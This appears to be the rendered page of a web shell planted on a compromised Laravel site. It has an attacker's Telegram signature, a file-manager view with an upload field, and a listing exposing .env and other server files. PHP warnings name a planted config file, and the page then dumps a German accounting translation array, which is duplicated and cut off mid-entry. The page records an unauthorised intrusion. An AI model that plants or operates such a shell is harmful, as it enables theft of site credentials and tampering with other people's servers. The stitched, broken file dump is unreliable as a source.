telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log26124332 KBJuly 19 2025 02:25:510644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
'Buchhaltung', 'accounting_module' => 'Buchhaltungsmodul', 'accounts_receivable' => 'Forderungen aus Lieferungen und Leistungen (A/L)', 'current_assets' => 'Umlaufvermögen', 'cash_and_cash_equivalents' => 'Kassenbestand und Guthaben bei Kreditinstituten', 'fixed_assets' => 'Anlagevermögen', 'non_current_assets' => 'Langfristiges Vermögen', 'accounts_payable' => 'Verbindlichkeiten aus Lieferungen und Leistungen (V/L)', 'credit_card' => 'Kreditkarte', 'current_liabilities' => 'Kurzfristige Verbindlichkeiten', 'non_current_liabilities' => 'Langfristige Verbindlichkeiten', 'owners_equity' => 'Eigenkapital', 'income' => 'Einkommen', 'other_income' => 'Sonstige Einkünfte', 'cost_of_sale' => 'Verkaufskosten', 'expenses' => 'Ausgaben', 'other_expense' => 'Sonstige Ausgaben', 'allowance_for_bad_debts' => 'Rückstellung für zweifelhafte Forderungen', 'allowance_for_bad_debts_desc' => 'Verwenden Sie die Rückstellung für zweifelhafte Forderungen, um den Teil der Forderungen aus Lieferungen und Leistungen zu schätzen, den Sie wahrscheinlich nicht eintreiben werden. Verwenden Sie dies nur, wenn Sie Ihre Bücher auf der Grundlage der Accrual-Methode führen.', 'assets_available_for_sale' => 'Zum Verkauf verfügbare Vermögenswerte', 'assets_available_for_sale_desc' => 'Verwenden Sie die Vermögenswerte, die für den Verkauf zur Verfügung stehen, um Vermögenswerte zu verfolgen, die für einen kurzen Zeitraum verfügbar sind und nicht für eine lange Zeit gehalten werden sollen.', 'development_costs' => 'Entwicklungskosten', 'development_costs_desc' => 'Verwenden Sie Entwicklungskosten, um Beträge zu verfolgen, die Sie für die Beschaffung von Finanzierungen wie einem SBA-Darlehen oder für Anzahlungen in Erwartung des Kaufs von Immobilien oder anderen Vermögenswerten hinterlegen oder zurücklegen. Wenn die Anzahlung erstattet wird oder der Kauf stattfindet, entfernen Sie den Betrag aus diesem Konto.', 'employee_cash_advances' => 'Barvorschüsse für Mitarbeiter', 'employee_cash_advances_desc' => 'Verwenden Sie Barvorschüsse für Mitarbeiter, um Gehälter und Löhne zu verfolgen, die Sie einem Mitarbeiter frühzeitig auszahlen oder um anderen Mitarbeitern Geld zu geben, das nicht als Gehalt gezahlt wird. Wenn Sie einem Mitarbeiter ein Darlehen gewähren, verwenden Sie stattdessen das Konto mit dem Kontotyp Aktuelles Vermögen namens Darlehen an andere.', 'inventory' => 'Inventar', 'inventory_desc' => 'Verwenden Sie Inventar, um die Kosten der Waren zu verfolgen, die Ihr Unternehmen zum Wiederverkauf kauft. Wenn die Waren verkauft werden, weisen Sie den Verkauf einem Verkaufskostenkonto zu.', 'investments_-_other' => 'Investitionen - Andere', 'investments_-_other_desc' => 'Verwenden Sie "Andere Investitionen", um den Wert von Investitionen zu verfolgen, die nicht von anderen Arten von Anlagekonten abgedeckt sind. Beispiele hierfür sind öffentlich gehandelte Aktien, Münzen oder Gold.', 'loans_to_officers' => 'Darlehen an Offiziere', 'loans_to_officers_desc' => 'Wenn Sie Ihr Unternehmen als Corporation betreiben, verwenden Sie "Darlehen an Offiziere", um Geld zu verfolgen, das an Offiziere Ihres Unternehmens verliehen wurde.', 'loans_to_others' => 'Darlehen an Andere', 'loans_to_others_desc' => 'Verwenden Sie "Darlehen an Andere", um das Geld zu verfolgen, das Ihr Unternehmen an andere Personen oder Unternehmen ausleiht. Dieser Kontotyp wird auch als "Forderungen aus Lieferungen und Leistungen" bezeichnet. Für frühe Gehaltszahlungen an Mitarbeiter verwenden Sie stattdessen Mitarbeiter-Vorschüsse.', 'loans_to_shareholders' => 'Darlehen an Aktionäre', 'loans_to_shareholders_desc' => 'Wenn Sie Ihr Unternehmen als Corporation betreiben, verwenden Sie "Darlehen an Aktionäre", um das Geld zu verfolgen, das Ihr Unternehmen an seine Aktionäre ausleiht.', 'other_current_assets' => 'Andere kurzfristige Vermögenswerte', 'other_current_assets_desc' => 'Verwenden Sie "Andere kurzfristige Vermögenswerte" für kurzfristige Vermögenswerte, die nicht von anderen Arten abgedeckt sind. Kurzfristige Vermögenswerte werden voraussichtlich innerhalb eines Jahres in Bargeld umgewandelt oder aufgebraucht.', 'prepaid_expenses' => 'Vorausbezahlte Ausgaben', 'prepaid_expenses_desc' => 'Verwenden Sie "Vorausbezahlte Ausgaben", um Zahlungen für Ausgaben zu verfolgen, die Sie erst im nächsten Abrechnungszeitraum anerkennen werden. Wenn Sie die Ausgabe anerkennen, machen Sie einen Buchungssatz, um Geld von diesem Konto auf das Ausgabenkonto zu übertragen.', 'retainage' => 'Einbehalt', 'retainage_desc' => 'Verwenden Sie "Einbehalt", wenn Ihre Kunden regelmäßig einen Teil des Vertragsbetrags zurückhalten, bis Sie ein Projekt abgeschlossen haben. Dieser Kontotyp wird häufig in der Baubranche verwendet und nur dann, wenn Sie das Einkommen auf Basis der Abgrenzungsmethode verbuchen.', 'undeposited_funds' => 'Nicht hinterlegte Gelder', 'undeposited_funds_desc' => 'Verwenden Sie "Nicht hinterlegte Gelder" für Bargeld oder Schecks aus Verkäufen, die noch nicht eingezahlt wurden. Für eine kleine Kasse verwenden Sie stattdessen "Bargeld vor Ort".', 'bank' => 'Bank', 'bank_desc' => 'Verwenden Sie Bankkonten, um alle Ihre aktuellen Aktivitäten zu verfolgen, einschließlich Debitkarten-Transaktionen.', 'cash_and_cash_equivalents' => 'Bargeld und Bargeldäquivalente', 'cash_and_cash_equivalents_desc' => 'Verwenden Sie Bargeld und Bargeldäquivalente, um Bargeld oder Vermögenswerte zu verfolgen, die sofort in Bargeld umgewandelt werden können. Zum Beispiel handelbare Wertpapiere und Schatzanweisungen.', 'cash_on_hand' => 'Bargeld in der Kasse', 'cash_on_hand_desc' => 'Verwenden Sie ein Konto für Bargeld in der Kasse, um das Bargeld zu verfolgen, das Ihr Unternehmen für gelegentliche Ausgaben behält, auch als "Petty Cash" bezeichnet. Verwenden Sie stattdessen ein vordefiniertes Konto namens "Nicht eingezahlte Fonds", um Bargeld aus Verkäufen zu verfolgen, das noch nicht eingezahlt wurde.', 'client_trust_account' => 'Treuhandkonto des Kunden', 'client_trust_account_desc' => 'Verwenden Sie Treuhandkonten des Kunden für Gelder, die Sie zum Nutzen eines anderen halten. Zum Beispiel werden Treuhandkonten oft von Anwälten verwendet, um Ausgaben zu verfolgen, die ihre Kunden ihnen gegeben haben. Oft wird der Betrag in einem "contra" Verbindlichkeitskonto (eine kurzfristige Verbindlichkeit) ausgeglichen, um den Betrag im Treuhandkonto nicht wie Ihr eigenes erscheinen zu lassen.', 'money_market' => 'Geldmarkt', 'money_market_desc' => 'Verwenden Sie den Geldmarkt, um Beträge in Geldmarktkonten zu verfolgen. Verwenden Sie stattdessen Current Assets für Investitionen.', 'rents_held_in_trust' => 'Mieten im Treuhandkonto gehalten', 'rents_held_in_trust_desc' => 'Verwenden Sie "Mieten im Treuhandkonto gehalten", um Einzahlungen und Mieten im Namen der Immobilienbesitzer zu verfolgen. Typischerweise verwenden nur Immobilienverwalter diesen Kontotyp.', 'savings' => 'Ersparnisse', 'savings_desc' => 'Verwenden Sie Sparkonten, um Ihre Ersparnisse- und CD-Aktivitäten zu verfolgen. Jedes Sparkonto, das Ihr Unternehmen bei einer Bank oder einer anderen Finanzinstitution hat, sollte ein eigenes Konto des Typs "Savings" haben. Verwenden Sie stattdessen Current Assets für Investitionen.', 'accumulated_depletion' => 'Kumulierte Erschöpfung', 'accumulated_depletion_desc' => 'Verwenden Sie Kumulierte Erschöpfung, um zu verfolgen, wie viel Sie einen natürlichen Rohstoff abbauen.', 'accumulated_depreciation_on_property,_plant_and_equipment' => 'Kumulierte Abschreibung auf Grundstück, Gebäude und Ausrüstung', 'accumulated_depreciation_on_property,_plant_and_equipment_desc' => 'Verwenden Sie die Kumulierte Abschreibung auf Sachanlagen, um zu verfolgen, wie viel Sie einen Anlagevermögen (ein physisches Vermögen, das Sie nicht innerhalb eines Jahres normaler Geschäftstätigkeit in Bargeld umwandeln erwarten) abschreiben.', 'buildings' => 'Gebäude', 'buildings_desc' => 'Verwenden Sie Gebäude, um die Kosten von Strukturen zu verfolgen, die Sie besitzen und für Ihr Unternehmen nutzen. Wenn Sie ein Unternehmen in Ihrem Zuhause haben, konsultieren Sie Ihren Buchhalter. Verwenden Sie für den Landanteil jeder Immobilie, die Sie besitzen, ein Landkonto und teilen Sie die Kosten der Immobilie in einer logischen Methode zwischen Land und Gebäude auf. Eine gängige Methode besteht darin, das Verhältnis von Land zu Gebäude auf der Grundsteuererklärung nachzubilden.', 'depletable_assets' => 'Erschöpfbare Vermögenswerte', 'depletable_assets_desc' => 'Verwenden Sie Erschöpfbare Vermögenswerte, um natürliche Ressourcen wie Waldflächen, Ölquellen und Mineralvorkommen zu verfolgen.', 'furniture_and_fixtures' => 'Möbel und Einrichtungen', 'furniture_and_fixtures_desc' => 'Verwenden Sie Möbel und Einrichtungen, um alle Möbel und Einrichtungen zu verfolgen, die Ihr Unternehmen besitzt und nutzt, wie zum Beispiel einen Zahnarztstuhl oder einen Verkaufsstand.', 'land' => 'Land', 'land_desc' => 'Verwenden Sie Land, um Vermögenswerte zu verfolgen, die nicht leicht in Bargeld umgewandelt werden können oder voraussichtlich nicht innerhalb des nächsten Jahres in Bargeld umgewandelt werden. Zum Beispiel Mietverbesserungen.', 'leasehold_improvements' => 'Mietverbesserungen', 'leasehold_improvements_desc' => 'Verwenden Sie Mietverbesserungen, um Verbesserungen an einem gemieteten Vermögen zu verfolgen, die den Wert des Vermögens erhöhen. Wenn Sie zum Beispiel einen gemieteten Bürofläche mit Teppichboden ausstatten und nicht erstattet werden, handelt es sich um eine Mietverbesserung.', 'machinery_and_equipment' => 'Maschinen und Ausrüstungen', 'machinery_and_equipment_desc' => 'Verwenden Sie Maschinen und Ausrüstungen, um Computerhardware sowie alle anderen Nicht-Möbel-Fixtures oder Geräte zu verfolgen, die Sie für Ihr Unternehmen besitzen und nutzen. Hierzu gehören auch Geräte, auf denen Sie fahren, wie Traktoren und Rasenmäher. Autos und Lastwagen sollten jedoch stattdessen mit Fahrzeugkonten erfasst werden.', 'other_fixed_assets' => 'Andere Anlagevermögen', 'cash_and_cash_equivalents' => 'Kasse und liquide Mittel', 'accounts_receivable' => 'Forderungen aus Lieferungen und Leistungen', 'inventory' => 'Bestand', 'prepaid_expenses' => 'Vorauszahlungen', 'short_term_investments' => 'Kurzfristige Investitionen', 'other_current_assets' => 'Sonstige kurzfristige Vermögenswerte', 'property_plant_and_equipment' => 'Grundstücke, Gebäude und Ausstattung', 'accumulated_depreciation' => 'Kumulierte Abschreibungen', 'other_fixed_assets_desc' => 'Verwenden Sie Andere Sachanlagen für Vermögenswerte, die nicht durch andere Arten von Vermögenswerten abgedeckt sind. Sachanlagen sind physisches Eigentum, das Sie in Ihrem Geschäft nutzen und das Sie nicht erwarten, innerhalb eines Jahres des normalen Betriebs in Bargeld umzuwandeln oder aufzubrauchen.', 'vehicles' => 'Fahrzeuge', 'vehicles_desc' => 'Verwenden Sie Fahrzeuge, um den Wert der Fahrzeuge zu verfolgen, die Ihr Unternehmen besitzt und für geschäftliche Zwecke nutzt. Dazu gehören Offroad-Fahrzeuge, Flugzeuge, Hubschrauber und Boote. Wenn Sie ein Fahrzeug sowohl geschäftlich als auch privat nutzen, wenden Sie sich an Ihren Buchhalter, um zu sehen, wie Sie dessen Wert verfolgen sollten.', 'accumulated_amortisation_of_non-current_assets' => 'Kumulierte Abschreibungen auf nicht-current assets', 'accumulated_amortisation_of_non-current_assets_desc' => 'Verwenden Sie Kumulierte Abschreibungen auf nicht-current assets, um zu verfolgen, wie viel Sie einen Vermögenswert amortisiert haben, dessen Typ Nicht-Current Asset ist.', 'assets_held_for_sale' => 'Vermögenswerte, die zum Verkauf gehalten werden', 'assets_held_for_sale_desc' => 'Verwenden Sie Vermögenswerte, die zum Verkauf gehalten werden, um Vermögenswerte eines Unternehmens zu verfolgen, die zum Verkauf zur Verfügung stehen und nicht für einen längeren Zeitraum gehalten werden sollen.', 'deferred_tax' => 'Passive latente Steuern', 'deferred_tax_desc' => 'Verwenden Sie Passive latente Steuern für Steuerschulden oder -guthaben, die in zukünftigen Buchhaltungsperioden verwendet werden sollen.', 'goodwill' => 'Goodwill', 'goodwill_desc' => 'Verwenden Sie Goodwill nur, wenn Sie ein anderes Unternehmen erworben haben. Es repräsentiert die immateriellen Vermögenswerte des erworbenen Unternehmens, die ihm einen Vorteil verschafft haben, wie zum Beispiel günstige Beziehungen zur Regierung, Firmenname, herausragende Kreditwürdigkeit, Standort, herausragendes Management, Kundenlisten, Produktqualität oder gute Arbeitsbeziehungen.', 'intangible_assets' => 'Immaterielle Vermögenswerte', 'intangible_assets_desc' => 'Verwenden Sie immaterielle Vermögenswerte, um immaterielle Vermögenswerte zu verfolgen, die Sie planen abzuschreiben. Beispiele sind Franchise, Kundendaten, Urheberrechte und Patente.', 'lease_buyout' => 'Leasingrückkauf', 'lease_buyout_desc' => 'Verwenden Sie Leasingrückkauf, um Leasingzahlungen zu verfolgen, die zum Kauf eines geleasten Vermögenswerts angewendet werden sollen. Der geleasten Vermögenswert selbst wird erst erfasst, wenn Sie ihn kaufen.', 'licences' => 'Lizenzen', 'licences_desc' => 'Verwenden Sie Lizenzen, um nicht-professionelle Lizenzen zur Erlaubnis einer Aktivität zu verfolgen, wie z.B. dem Verkauf von Alkohol oder der Radioübertragung. Für Gebühren im Zusammenhang mit an Einzelpersonen vergebenen Berufslizenzen verwenden Sie stattdessen ein Aufwandskonto für Rechts- und Beratungsgebühren.', 'long-term_investments' => 'Langfristige Investitionen', 'long-term_investments_desc' => 'Verwenden Sie Langfristige Investitionen, um Investitionen zu verfolgen, die eine Fälligkeit von mehr als einem Jahr haben.', 'organisational_costs' => 'Organisationskosten', 'organisational_costs_desc' => 'Verwenden Sie Organisationskosten, um Kosten zu verfolgen, die bei der Gründung einer Partnerschaft oder einer Kapitalgesellschaft entstanden sind. Die Kosten umfassen die für die Organisation des Unternehmens erforderlichen Rechts- und Buchhaltungskosten sowie die Einreichung von Rechtsdokumenten und anderen Papieren.', 'other_non-current_assets' => 'Andere langfristige Vermögenswerte', 'other_non-current_assets_desc' => 'Verwenden Sie Andere langfristige Vermögenswerte, um Vermögenswerte zu verfolgen, die nicht von anderen Arten abgedeckt werden. Langfristige Vermögenswerte sind Vermögenswerte, von denen erwartet wird, dass sie für mehr als ein Jahr einen Wert liefern.', 'security_deposits' => 'Sicherheitsleistungen', 'security_deposits_desc' => 'Verwenden Sie Sicherheitsleistungen, um die von Ihnen gezahlten Mittel zu verfolgen, um potenzielle Kosten aufgrund von Schäden, Verlusten oder Diebstahl zu decken. Die Mittel sollten Ihnen am Ende des Vertrags zurückerstattet werden. Wenn Sie Anzahlungen, Vorauszahlungen, Sicherheitsleistungen oder andere Arten von Einzahlungen akzeptieren, verwenden Sie ein anderes Konto für aktuelle Verbindlichkeiten mit dem Detailtyp "Andere aktuelle Verbindlichkeiten".', 'accounts_payable_(a/p)' => 'Verbindlichkeiten aus Lieferungen und Leistungen (VLL)', 'accounts_payable_(a/p)desc' => 'Accounts Payable (auch A/P, Handelsverbindlichkeiten, sonstige Verbindlichkeiten oder Gläubiger genannt) erfasst die Beträge, die Ihrem Lieferanten gegenüber fällig sind.', 'credit_card' => 'Kreditkarte', 'credit_card_desc' => 'Kreditkartenkonten verfolgen den fälligen Saldo Ihrer Geschäftskreditkarten. Erstellen Sie für jedes Geschäftskreditkartenkonto, das Ihr Unternehmen verwendet, ein eigenes Kreditkartenkonto.', 'accrued_liabilities' => 'Angefallene Verbindlichkeiten', 'accrued_liabilities_desc' => 'Verwenden Sie Angefallene Verbindlichkeiten, um Ausgaben zu verfolgen, die ein Unternehmen getätigt hat, aber noch nicht bezahlt hat. Zum Beispiel Renten für Unternehmen, die für ihre Mitarbeiter in einen Pensionsfonds für deren Ruhestand einzahlen.', 'client_trust_accounts_-_liabilities' => 'Klienten-Trust-Konten - Verbindlichkeiten', 'client_trust_accounts_-_liabilities_desc' => "Verwenden Sie Klienten-Trust-Konten - Verbindlichkeiten, um Klienten-Trust-Konten in Vermögenswerten auszugleichen. Beträge auf diesen Konten werden von Ihrem Unternehmen im Auftrag anderer gehalten. Sie gehören nicht Ihrem Unternehmen, daher sollten sie nicht auf Ihrer Bilanz erscheinen. Dieses 'Contra'-Konto kümmert sich darum, solange die beiden Kontostände übereinstimmen.", 'current_tax_liability' => 'Aktuelle Steuerschuld', 'current_tax_liability_desc' => 'Verwenden Sie Aktuelle Steuerschuld, um den Gesamtbetrag der eingenommenen, aber noch nicht an die Regierung gezahlten Steuern zu verfolgen.', 'current_portion_of_obligations_under_finance_leases' => 'Aktueller Teil der Verpflichtungen aus Finanzierungsleasingverträgen', 'current_portion_of_obligations_under_finance_leases_desc' => 'Verwenden Sie den aktuellen Teil der Verpflichtungen aus Finanzierungsleasingverträgen, um den Wert der innerhalb der nächsten 12 Monate fälligen Leasingzahlungen zu verfolgen.', 'dividends_payable' => 'Dividenden fällig', 'dividends_payable_desc' => 'Verwenden Sie Dividenden fällig, um Dividenden zu verfolgen, die Aktionären geschuldet werden, aber noch nicht gezahlt wurden.', 'income_tax_payable' => 'Fällige Einkommenssteuer', 'income_tax_payable_desc' => 'Verwenden Sie Fällige Einkommenssteuer, um Gelder zu verfolgen, die zur Begleichung der Einkommenssteuerschulden des Unternehmens fällig sind.', 'insurance_payable' => 'Versicherung fällig', 'insurance_payable_desc' => 'Verwenden Sie Fällige Versicherung, um Versicherungsbeträge im Auge zu behalten, die fällig sind. Dieses Konto ist am nützlichsten für Unternehmen mit monatlichen wiederkehrenden Versicherungskosten.', 'line_of_credit' => 'Kreditlinie', 'line_of_credit_desc' => 'Verwenden Sie die Kreditlinie, um den fälligen Betrag auf allen Kreditlinien zu verfolgen, die Ihr Unternehmen hat. Jede Kreditlinie Ihres Unternehmens sollte ein eigenes Kreditlinienkonto haben.', 'loan_payable' => 'Darlehensverbindlichkeiten', 'loan_payable_desc' => 'Verwenden Sie Darlehensverbindlichkeiten, um Darlehen zu verfolgen, die Ihr Unternehmen innerhalb der nächsten zwölf Monate zurückzahlen muss. Für langfristige Darlehen verwenden Sie stattdessen die langfristige Verbindlichkeit Namens "Notes payable".', 'other_current_liabilities' => 'Andere kurzfristige Verbindlichkeiten', 'other_current_liabilities_desc' => 'Verwenden Sie "Andere kurzfristige Verbindlichkeiten", um Gelder zu verfolgen, die das Unternehmen innerhalb eines Jahres schuldet.', 'payroll_clearing' => 'Lohnabrechnung Clearing', 'payroll_clearing_desc' => 'Verwenden Sie "Lohnabrechnung Clearing", um alle nicht-steuerlichen Beträge zu verfolgen, die Sie von Mitarbeitergehältern abgezogen haben oder die Sie aufgrund von Lohnabrechnungen schulden. Wenn Sie das Geld an die entsprechenden Lieferanten weiterleiten, ziehen Sie den Betrag vom Saldo dieses Kontos ab. Verwenden Sie dieses Konto nicht für Steuerbeträge, die Sie einbehalten oder schulden, wenn Sie Mitarbeitergehälter zahlen. Verwenden Sie stattdessen das Konto "Lohnsteuerpflichtig".', 'payroll_liabilities' => 'Lohnverbindlichkeiten', 'payroll_liabilities_desc' => 'Verwenden Sie "Lohnverbindlichkeiten", um Steuerbeträge zu verfolgen, die Sie aufgrund von Lohnzahlungen an Regierungsbehörden schulden. Dazu gehören einbehaltene Steuern, Gesundheitsversicherungsprämien, Arbeitslosenversicherung, staatliche Renten usw. Wenn Sie das Geld an die Regierungsbehörde weiterleiten, ziehen Sie den Betrag vom Saldo dieses Kontos ab.', 'prepaid_expenses_payable' => 'Vorausbezahlte Aufwandsverbindlichkeiten', 'prepaid_expenses_payable_desc' => 'Verwenden Sie "Vorausbezahlte Aufwandsverbindlichkeiten", um Posten wie Grundsteuern zu verfolgen, die fällig sind, aber noch nicht als Aufwand abzugsfähig sind, da der Zeitraum, den sie abdecken, noch nicht abgelaufen ist.', 'rents_in_trust_-liability' => 'Mieten im Treuhandvermögen - Verbindlichkeiten', 'line_of_credit' => 'Kreditlinie', 'line_of_credit_desc' => 'Verwenden Sie die Kreditlinie, um den ausstehenden Betrag auf allen Kreditlinien zu verfolgen, die Ihr Unternehmen hat. Jede Kreditlinie Ihres Unternehmens sollte über ein eigenes Konto für Kreditlinien verfügen.', 'loan_payable' => 'Darlehensverbindlichkeit', 'loan_payable_desc' => 'Verwenden Sie die Darlehensverbindlichkeit, um die von Ihrem Unternehmen geschuldeten Darlehen zu verfolgen, die innerhalb der nächsten zwölf Monate fällig sind. Für langfristige Darlehen verwenden Sie stattdessen die langfristige Verbindlichkeit namens "Fällige Wechsel".', 'other_current_liabilities' => 'Andere kurzfristige Verbindlichkeiten', 'other_current_liabilities_desc' => 'Verwenden Sie Andere kurzfristige Verbindlichkeiten, um Gelder zu verfolgen, die das Unternehmen innerhalb eines Jahres schuldet.', 'payroll_clearing' => 'Lohnabrechnung-Klärung', 'payroll_clearing_desc' => 'Verwenden Sie Lohnabrechnung-Klärung, um alle nicht-steuerlichen Beträge zu verfolgen, die Sie von den Gehaltsabrechnungen der Mitarbeiter abgezogen haben oder die Sie als Folge der Lohnabrechnung schulden. Wenn Sie das Geld an die entsprechenden Lieferanten weiterleiten, ziehen Sie den Betrag vom Guthaben dieses Kontos ab. Verwenden Sie dieses Konto nicht für Steuerbeträge, die Sie einbehalten oder für die Sie aufgrund von Gehaltszahlungen schulden. Verwenden Sie für diese Beträge stattdessen das Konto für Lohnsteuerverbindlichkeiten.', 'payroll_liabilities' => 'Lohnsteuerverbindlichkeiten', 'payroll_liabilities_desc' => 'Verwenden Sie Lohnsteuerverbindlichkeiten, um Steuerbeträge zu verfolgen, die Sie Regierungsbehörden aufgrund von Gehaltszahlungen schulden. Hierzu gehören einbehaltene Steuern, Krankenversicherungsprämien, Arbeitslosenversicherung, staatliche Renten usw. Wenn Sie das Geld an die Regierungsbehörde weiterleiten, ziehen Sie den Betrag vom Guthaben dieses Kontos ab.', 'prepaid_expenses_payable' => 'Vorausbezahlte Aufwandsverbindlichkeiten', 'prepaid_expenses_payable_desc' => 'Verwenden Sie Vorausbezahlte Aufwandsverbindlichkeiten, um Gegenstände wie Grundsteuern zu verfolgen, die fällig sind, aber noch nicht als Aufwand abziehbar sind, da der Zeitraum, den sie abdecken, noch nicht abgelaufen ist.', 'rents_in_trust_-_liability' => 'Mieten in Treuhand - Verbindlichkeiten', 'rents_in_trust_-_liability_desc' => "Verwenden Sie Mieten in Treuhand - Verbindlichkeiten, um den Betrag der Mieten in Treuhand in den Vermögenswerten auszugleichen. Beträge in diesen Konten werden von Ihrem Unternehmen im Namen anderer gehalten. Sie gehören nicht Ihrem Unternehmen, sollten also nicht auf Ihrer Bilanz erscheinen. Dieses 'Contra'-Konto kümmert sich darum, solange die beiden Salden übereinstimmen.", 'sales_and_service_tax_payable' => 'Umsatz- und Dienstleistungssteuer zahlbar', 'sales_and_service_tax_payable_desc' => 'Verwenden Sie Umsatz- und Dienstleistungssteuer zahlbar, um die Steuern zu verfolgen, die Sie erhoben, aber noch nicht an Ihre Regierungssteuerbehörde überwiesen haben. Dies umfasst Mehrwertsteuer, Waren- und Dienstleistungssteuer, Umsatzsteuer und andere Verbrauchssteuern.', 'accrued_holiday_payable' => 'Angefallene Urlaubsverbindlichkeiten', 'accrued_holiday_payable_desc' => 'Verwenden Sie Angefallene Urlaubsverbindlichkeiten, um Urlaub zu verfolgen, der verdient wurde, aber noch nicht an Mitarbeiter ausgezahlt wurde.', 'accrued_non-current_liabilities' => 'Angefallene langfristige Verbindlichkeiten', 'accrued_non-current_liabilities_desc' => 'Verwenden Sie Angefallene langfristige Verbindlichkeiten, um Ausgaben zu verfolgen, die ein Unternehmen getätigt hat, aber noch nicht bezahlt hat. Zum Beispiel Renten für Unternehmen, die einen Pensionsfonds für ihre Mitarbeiter für den Ruhestand beisteuern.', 'liabilities_related_to_assets_held_for_sale' => 'Verbindlichkeiten im Zusammenhang mit zum Verkauf gehaltenen Vermögenswerten', 'liabilities_related_to_assets_held_for_sale_desc' => 'Verwenden Sie Verbindlichkeiten im Zusammenhang mit zum Verkauf gehaltenen Vermögenswerten, um alle Verbindlichkeiten zu verfolgen, die direkt mit zum Verkauf stehenden oder abgeschriebenen Vermögenswerten zusammenhängen.', 'long-term_debt' => 'Langfristige Schulden', 'long-term_debt_desc' => 'Verwenden Sie Langfristige Schulden, um Kredite und Verpflichtungen mit einer Laufzeit von mehr als einem Jahr zu verfolgen. Zum Beispiel Hypotheken.', 'notes_payable' => 'Forderungen aus langfristigen Krediten', 'notes_payable_desc' => 'Verwenden Sie Forderungen aus langfristigen Krediten, um die Beträge zu verfolgen, die Ihr Unternehmen in langfristigen (über zwölf Monate) Krediten schuldet. Für kürzere Kredite verwenden Sie stattdessen den Kontotyp "Kurzfristige Verbindlichkeiten" namens "Kreditverbindlichkeiten".', 'other_non-current_liabilities' => 'Andere langfristige Verbindlichkeiten', 'other_non-current_liabilities_desc' => 'Verwenden Sie Andere langfristige Verbindlichkeiten, um Verbindlichkeiten zu verfolgen, die in mehr als zwölf Monaten fällig werden und nicht in die anderen Kontotypen für langfristige Verbindlichkeiten passen.', 'shareholder_notes_payable' => 'Zahlbare Anteile an Gesellschaftern', 'shareholder_notes_payable_desc' => 'Verwenden Sie Zahlbare Anteile an Gesellschaftern, um langfristige Kreditbilanzen zu verfolgen, die Ihr Unternehmen seinen Aktionären schuldet.', 'accumulated_adjustment' => 'Kumulierte Anpassung', 'accumulated_adjustment_desc' => 'Einige Unternehmen verwenden dieses Konto, um Anpassungen des Eigenkapitals zu verfolgen, die nicht auf den Nettogewinn zurückzuführen sind.', 'dividend_disbursed' => 'Dividende ausgeschüttet', 'dividend_disbursed_desc' => 'Verwenden Sie Dividende ausgeschüttet, um eine Zahlung an seine Aktionäre aus den zurückbehaltenen Gewinnen des Unternehmens zu verfolgen.', 'equity_in_earnings_of_subsidiaries' => 'Eigenkapital in Gewinnen von Tochtergesellschaften', 'equity_in_earnings_of_subsidiaries_desc' => 'Verwenden Sie Eigenkapital in Gewinnen von Tochtergesellschaften, um die ursprüngliche Investition in Aktien von Tochtergesellschaften sowie den Anteil an Gewinnen oder Verlusten aus dem Geschäftsbetrieb der Tochtergesellschaft zu verfolgen.', 'opening_balance_equity' => 'Eröffnungsbilanz Eigenkapital', 'opening_balance_equity_desc' => 'Wenn Sie Eröffnungssalden eingeben, erfasst das System die Beträge im Eröffnungsbilanz Eigenkapital. Dies stellt sicher, dass Sie eine korrekte Bilanz für Ihr Unternehmen haben, auch wenn Sie noch nicht alle Vermögenswerte und Verbindlichkeiten Ihres Unternehmens erfasst haben.', 'ordinary_shares' => 'Stammaktien', 'ordinary_shares_desc' => 'Unternehmen verwenden Stammaktien, um ihre Stammaktien in den Händen der Aktionäre zu verfolgen. Der Betrag in diesem Konto sollte der angegebene (oder Nenn-) Wert der Aktien sein.', 'other_comprehensive_income' => 'Sonstiges umfassendes Ergebnis', 'other_comprehensive_income_desc' => 'Verwenden Sie Sonstiges umfassendes Ergebnis, um die Erhöhungen oder Verringerungen des Einkommens aus verschiedenen Geschäftsbereichen zu verfolgen, die noch nicht vom Unternehmen absorbiert wurden.', "owner's_equity" => "Eigenkapital des Eigentümers", "owner's_equity_desc" => 'Unternehmen verwenden Eigenkapital des Eigentümers, um das kumulierte Nettoeinkommen oder -verluste ihres Geschäfts am Anfang des Geschäftsjahres zu zeigen.', 'paid-in_capital_or_surplus' => 'Eingezahltes Kapital oder Überschuss', 'paid-in_capital_or_surplus_desc' => 'Kapitalgesellschaften verwenden das eingezahlte Kapital, um Beträge zu verfolgen, die von Aktionären im Austausch für Aktien, die über dem Nennwert (oder Par) liegen, erhalten werden.', 'partner_contributions' => 